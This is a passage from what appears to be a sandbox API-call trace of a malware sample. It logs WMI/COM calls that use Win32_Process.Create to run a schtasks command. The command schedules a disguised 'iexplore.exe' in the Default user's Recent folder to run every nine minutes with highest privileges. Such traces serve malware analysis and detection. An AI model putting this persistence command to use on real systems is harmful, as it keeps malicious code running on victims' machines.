[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc93c70) returned 0x0 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0152.954] WbemDefPath:IUnknown:AddRef (This=0x1bc93c70) returned 0x3 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc40e20) returned 0x0 [0152.954] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.954] WbemDefPath:IUnknown:Release (This=0x1bc40e20) returned 0x3 [0152.954] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0152.955] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0152.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0152.955] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x2 [0152.955] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x1 [0152.955] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0152.955] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0152.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc93c70) returned 0x0 [0152.955] WbemDefPath:IUnknown:AddRef (This=0x1bc93c70) returned 0x3 [0152.955] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x2 [0152.955] WbemDefPath:IWbemPath:SetText (This=0x1bc93c70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0152.955] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0152.955] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0152.955] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.955] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0152.955] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0152.955] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0152.955] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.957] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc40e60) returned 0x0 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0152.958] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93bb0) returned 0x0 [0152.958] WbemDefPath:IUnknown:Release (This=0x1bc40e60) returned 0x0 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93bb0) returned 0x0 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0152.958] WbemDefPath:IUnknown:AddRef (This=0x1bc93bb0) returned 0x3 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0152.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc40a00) returned 0x0 [0152.958] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40a00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.958] WbemDefPath:IUnknown:Release (This=0x1bc40a00) returned 0x3 [0152.958] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0152.959] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0152.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0152.959] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x2 [0152.959] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x1 [0152.959] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0152.959] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0152.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93bb0) returned 0x0 [0152.959] WbemDefPath:IUnknown:AddRef (This=0x1bc93bb0) returned 0x3 [0152.959] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x2 [0152.959] WbemDefPath:IWbemPath:SetText (This=0x1bc93bb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93c70, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93bb0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0152.959] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc93c70) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93bb0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93bb0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93bb0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0152.959] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93c70, uIndex=0x0, pszName="root") returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93bb0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93bb0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0152.959] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93c70, uIndex=0x1, pszName="cimv2") returned 0x0 [0152.959] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93bb0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93bb0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93c70, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93c70, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93c70, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93c70, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93c70, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93c70, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93c70, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0152.960] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93c70, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0152.961] IWbemServices:GetObject (in: This=0x1bc36330, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bcf4570, ppCallResult=0x0) returned 0x0 [0152.971] IWbemClassObject:GetMethod (in: This=0x1bcf4570, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bcf48e0, ppOutSignature=0x1bb7e690*=0x1bcf4c50) returned 0x0 [0152.972] IWbemClassObject:SpawnInstance (in: This=0x1bcf48e0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa18d30) returned 0x0 [0152.972] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28047e0*=0, plFlavor=0x28047e4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28047e0*=8, plFlavor=0x28047e4*=32) returned 0x0 [0152.972] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28047e0*=8, plFlavor=0x28047e4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28047e0*=8, plFlavor=0x28047e4*=32) returned 0x0 [0152.972] IWbemClassObject:Put (This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0152.973] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804870*=0, plFlavor=0x2804874*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804870*=13, plFlavor=0x2804874*=32) returned 0x0 [0152.973] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804870*=13, plFlavor=0x2804874*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804870*=13, plFlavor=0x2804874*=32) returned 0x0 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bcf3e90) returned 0x0 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0152.973] IUnknown:AddRef (This=0x1bcf3e90) returned 0x3 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0152.973] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bcf3e98) returned 0x0 [0152.974] IMarshal:GetUnmarshalClass (in: This=0x1bcf3e98, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0152.974] IUnknown:Release (This=0x1bcf3e98) returned 0x3 [0152.974] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0152.974] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0152.974] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0152.974] IUnknown:Release (This=0x1bcf3e90) returned 0x2 [0152.974] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0152.974] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0152.974] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0152.974] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0152.974] IUnknown:QueryInterface (in: This=0x1bcf3e90, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0152.974] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0152.974] IUnknown:AddRef (This=0x1bcf3e90) returned 0x3 [0152.974] IWbemClassObject:Put (This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bcf3e90, varVal2=0x0), Type=0) returned 0x0 [0152.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94030, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0152.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0152.975] IWbemServices:ExecMethod (in: This=0x1bc36330, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa18d30, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd32c0, ppCallResult=0x0) returned 0x0 [0153.176] IWbemClassObject:Get (in: This=0x1bbd32c0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804b88*=0, plFlavor=0x2804b8c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcd8, varVal2=0x0), pType=0x2804b88*=19, plFlavor=0x2804b8c*=0) returned 0x0 [0153.177] IWbemClassObject:Get (in: This=0x1bbd32c0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2804b88*=19, plFlavor=0x2804b8c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcd8, varVal2=0x0), pType=0x2804b88*=19, plFlavor=0x2804b8c*=0) returned 0x0 [0153.180] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0153.245] FormatMessageW (in: dwFlags=0x3200, 